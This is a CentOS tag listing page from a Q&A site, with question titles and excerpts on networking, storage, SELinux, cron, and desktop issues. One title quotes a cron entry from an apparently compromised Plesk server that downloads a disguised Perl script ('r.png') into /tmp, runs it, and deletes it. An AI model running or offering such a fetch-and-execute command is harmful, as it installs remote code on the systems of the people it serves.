CentOS is an Enterprise-class Linux Distribution derived from Redhat Enterprise Linux sources freely provided to the public.

learn more… | top users | synonyms (2)

1
vote
0answers
1k views

Why doesn't /etc/udev/rules.d/70-persistent-net.rules exist on virtual machines?

CENTOS 5.9 I'm curious, why doesn't /etc/udev/rules.d/70-persistent-net.rules exist on virtual machines with CentOS 5.9? Is there an alternative file name for this when using a virtual machine?
3
votes
1answer
2k views

I opened a port with iptables but still doesnt work

I have a CentOS installation as a guest VM with VirtualBox. I have two ethernet interfaces, eth0 with NAT and DHCP, and eth1 with Host-only adaptor and static IP. I have oracle installed in this ...
0
votes
1answer
2k views

adding home directory after -M option

First off I'm new to Linux. I have created a new user called "ginny" with -M option. Now I'm trying to assign a home directory with usermod -d /link/to/directory ginny but it doesn't assign a home ...
0
votes
1answer
4k views

GRUB reported “error: file not found.” when booting CentOS 5

I installed CentOS 5.3 by using a 4GB USB disk on an old PC that I used run a Debian on it. After a series of housework on the fresh system, I reboot the system using: sudo shutdown -r now After ...
0
votes
0answers
65 views

How can I add PAM functionality in netkit-rsh-0.17

I am using CentOS. In my project, that is working on a network, I need an rsh utility. I downloaded netkit-rsh-0.17 for that and until recently all worked fine. But now I found that this utility ...
2
votes
0answers
249 views

Setting up surround sound with optical out

I have centos 6.3 running on this pc. the built in sound card is detected normally and is a 7.1 card with all speakers listed. It includes a optical out as well as hdmi for the built in video. It ...
0
votes
1answer
1k views

wget hangs AFTER download complete, on exit_group

I am running CentOS release 6.3 (Final). This issue occurs for every VM on my server. When connected over SSH, wget hangs after download certain URLs. I am running the following command: wget ...
5
votes
4answers
9k views

iptables rules not reloading on CentOS 6.x

I have one single ipset added to my iptables on a CentOS 6.x box and this rule is lost when the machine reboots. I've found this answer showing how to make a Ubuntu system reload the iptables rules ...
2
votes
2answers
969 views

How to disable trash?

This is a nice and straightforward question: how can I disable the Trash Can in Gnome running on CentOS/RHEL 6.4? I know I can use Shift + Del, instead of Del to bypass the Trash; but how can I ...
0
votes
2answers
363 views

CentOS GUI problem using Gnome

For some reason lately when I try to set the date using the interface, or simply install a .rpm by double clicking the dialog that should prompt me to input my passowrd just shakes like it has a bug. ...
3
votes
2answers
1k views

Using TMUX on boot up of Linux CentOS

I'm trying to figure out a way in which I can boot TMUX under a user other than root, but automatically whenever Linux starts. At least that's what I think I need. What I want is to be able to SSH ...
0
votes
1answer
275 views

VSFTPD Virtual User Group

Currently I have a Running vsftpd server in a Cent OS Machine with virtual users. Users are authenticated using MySQL. The users has all the permissions in their home directory and they are jailed ...
1
vote
0answers
243 views

403 Forbidden on Sub-Folders

I am a Linux newbie and decided to do a LAMP install to start getting more familiar with it (as our company is moving more towards nix these days). Everything went great and PHPMyAdmin, MySQL, ...
1
vote
1answer
163 views

Establishing I/O Patterns for an Application

Are there any system tools that allow you to profile an application's usage of storage? Basically, I'm looking for information on determining whether there are more large sequential reads, tiny ...
4
votes
1answer
1k views

Centos 6.3 Server ignoring IGMP Queries

I am using a CentOS 6.3 server to subscribe to UDP multicast data, and I noticed that my server doesn't answer the IGMP queries sent by the switch it is connected to. As a result, when I open my ...
1
vote
0answers
1k views

Unable to install Atheros AR8161 Ethernet controller driver for centOS 6

I've installed CentOS 6.3. However, eth0 does not show up on ifconfig. So I figured out that I need to install alx Ethernet driver from here. Since my internet is not working, as ethernet drivers are ...
3
votes
1answer
151 views

RES memory more than initial and maximum memory for java

We have a java application running on Centos 6.4 what we notice is that the RES is around 370m which is more then the allocated max that is 256m. Does this signify that we the application is leaking? ...
7
votes
2answers
11k views

DHCPD ignoring my subnet declaration

eth0, my internal interface, has a static address of 10.0.0.1. I also have an interface, p4p1, acting as my external interface. If it matters, my external interface is not physically connected and ...
0
votes
1answer
973 views

non root ssh keys help

I'm having issues setting up a different CentOS account with its own pair of SSH keys. I have created the required files but when connecting with Putty it says Connection refused, here's the putty ...
0
votes
1answer
284 views

emacs fonts from ssh not as good as locally installed

How can I have the same emacs fonts and antialiasing configuration that I have in my local Ubuntu 12.04 also working when I open an emacs session via ssh to a CentOS 5 system? EDIT: I didn't get an ...
3
votes
1answer
3k views

LDAP authentication broken with upgrade to CentOS 6.4 (sssd)

I have OpenLDAP server: @(#) $OpenLDAP: slapd 2.4.23 (Aug 8 2012 16:29:21) In my configuration have group: ldapsearch -x -b 'cn=groupname,ou=UnixShell,ou=Services,o=example,c=ru' # extended LDIF ...
6
votes
2answers
14k views

How to add an item to the Applications menu?

How can I add an application to Applications > Internet in Gnome Desktop running on CentOS 6.4? Per this old Docs link, it suggests to edit /etc/xdg/menus/applications.menu. How can I add ...
0
votes
0answers
154 views

Booting 32bit CentOS from external HDD on Lenovo IdeaPad Y580

I've got Lenovo IdeaPad Y580 with a 64bit CPU and I would like to boot it from my external Toshiba HDD with a 32bit CentOS 6.4 installed on it. However all my tries ended up with kernel panic: not ...
1
vote
3answers
1k views

Taking away a User's Read/Write/Execute Permission

So I have a user that is able to go in /etc and read files like httpd.conf. I would like to deny that user access to any critical locations such as /etc, /var and so on. What would be the best way ...
19
votes
1answer
20k views

BUG: soft lockup - CPU# stuck for x seconds

I've seen a few bug reports and questions (on stackexchange and elsewhere) regarding a nagging "BUG: soft lockup - CPU#<n> stuck for <dt>s!". So far, I haven't found any clue as to what ...
0
votes
0answers
118 views

User installation emacs 23 on a centos 5 with system-wide installed emacs-21.4-20.el5?

I would like to install my own copy of emacs 23 on a Centos 5 Linux where I don't have admin rights. I would like to have my own modern copy of emacs on this Centos 5 system since I've got a problem ...
0
votes
2answers
3k views

increasing a logical volume

I need to increase the logical volume of the var directory, the maximum size of var right now is 10GB, I need to make it 50GB. I have a Centos 6 server. The output of df -h is: Filesystem ...
-1
votes
1answer
252 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
2
votes
0answers
446 views

selinux, dovecot and sieve

I've just started learning to configure SELINUX and this morning on my CentOS 6.4 x64 system, with postfix/dovecot/mysql installed, I woke up to the following selinux issue found 1 alerts in ...
1
vote
1answer
8k views

Centos freeing up disk space

I have a CentOS server running Plesk and it's run out of space on the plesk partition. I have narrowed down where a lot of the disk space is being used, but I'm not sure how to move forward. Can I ...
1
vote
2answers
1k views

What is the difference between the whatis and apropos commands?

CentOS 6.3 / RHEL 6.3 Can someone please explain the difference between the whatis command and the apropos command? I noticed that both appear to be installed by default and I'm not sure what the ...
0
votes
1answer
591 views

netinstall media of CentOS 6.4 is broken?

I couldn't find a way to customize the partition schema during installation of CentOS 6.4, all these 3 options lead me directly to the "confirm disk change" screen. Was it configured to be so? ...
0
votes
1answer
80 views

Installing a software on Linux- Centos

I am a complete amateur in Linux. There is a software that only runs on Linux. It came with a virtual machine package and every thing. When inside the virtual machine, I run a .py file in the ...
0
votes
2answers
6k views

CentOS doesn't see USB device

I'm running CentOS 6.3 inside of VirtualBox and am having trouble seeing my USB 2.0 thumb drive. In VirtualBox I go to Devices, USB drives and can capture my connected thumb drive. I've created a ...
2
votes
2answers
568 views

Is it possible to have a cron job run more frequently than once every minute?

CentOS 6 I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
3
votes
1answer
5k views

How to colorize “root” in red in CentOS?

This is the content of /etc/bashrc, I would like to modify it for show "root" as red but don't know where to add the color code. # /etc/bashrc # System wide functions and aliases # Environment stuff ...
2
votes
1answer
8k views

How do I configure CentOS 6.4 to allow normal users to run startx, without installing Gnome/KDE?

I installed CentOS 6.4 x86 from the minimal installation CD into a qemu/kvm virtual machine and installed the basic X server using: yum groupinstall "X Window System" "Fonts" When I run startx as a ...
1
vote
3answers
3k views

rsh runs perfectly in normal user but not in root, very strange, why?

When I run command, rsh localhost pwd as a root It shows below output. connect to address 127.0.0.1 port 544: Connection refused Trying krb4 rsh... connect to address 127.0.0.1 port 544: Connection ...
1
vote
1answer
537 views

Limit clamav to one thread

I'm only running on a low memory system so would like to run only one clamd, but i have googled for hours trying to find the answer with no luck. I tried clamscan instead but it takes far too long to ...
4
votes
3answers
2k views

Can't open syntax.vim error when using vimrc

When I try to open my .bashrc file. then it shows these lines: Errordetected while processing /etc/vimrc: line 45: E848: Can't open file /usr/share/vim/vim70/syntax/syntax.vim Press ENTER or type ...
5
votes
1answer
2k views

Error when running ntpd on openVZ host: cap_set_proc() failed to drop root privileges:

CentOS 6.x | OpenVZ I want to run a NTP server on a vps host of mine. Is this possible? When I try to start ntpd, it fails immediately and gives the following error: Mar 14 22:47:44 ev1 ...
1
vote
1answer
171 views

IPs that I bound keep stop responding to ping

So Internic sent over a few cs, and it seems fine on some of them. However, on some I have to run arping -U on to get them up and they only seem to stay up for a short time. They are a /24 properly ...
1
vote
1answer
859 views

How to setup RStudio Desktop verion on a CentOS 5 machine?

I have a problem of install RStudio Desktop verion on a CentOS 5 machine. Basically, RStudio Desktop needs QT4.8; however, I am not sure how to update my CentOS 5 QT4 to QT4.8. Otherwise, the Cmake ...
1
vote
0answers
1k views

rc.local not being executed when os boots up

I have a script that needs to be run when os boots up. I added it to /etc/rc.local. It was working fine for sometime but now rc.local does not load at boot time. When i checked the permissions on the ...
6
votes
4answers
8k views

How do I combine two logical volumes that reside on a single physical volume in LVM?

I have two logical volumes, one is mounted as /, the other is mounted as /home. I want to combine them, because the / volume is constantly running out of space. (Yes, I know what's using all that ...
6
votes
1answer
3k views

Why setsebool command of SELINUX taking so long and slow?

Hi I am new to the SELINUX and I have noticed the command setsebool take longer time than other linux commands. Such as: setsebool -P ftp_home_dir ON Out of curiosity I want to know why "setsebool" ...
3
votes
2answers
4k views

Can I “yum upgrade” to a specific CentOS version?

I'm using a third party proprietary application on CentOS 5.4, which is known to malfunction on pristine 5.9 or later. I would like to incrementally upgrade to the latest CentOS version where that ...
4
votes
3answers
64k views

How to flush local DNS cache in CentOS

(I am aware that googling this question gives me tons of stuff, but literally none worked) I'm looking for a way to flush the local DNS cache on a Centos 6 system, it is not running any DNS server or ...
0
votes
0answers
179 views

vsftpd allow full access in selinux

When I try to alow full access to FTP, suing the setsebool -P allow_ftpd_full_access 1 I am getting this error: libsemanage.get_home_dirs: insta homedir /var/www/html or its parent directory ...
2
votes
1answer
1k views

How should I manage CentOS for long term production use?

I am newbie server developer who is preparing a new service. I looked for some server hosting services, and the company I chose supports only CentOS 5.8 and 6.2. So I wanted to try it on my local ...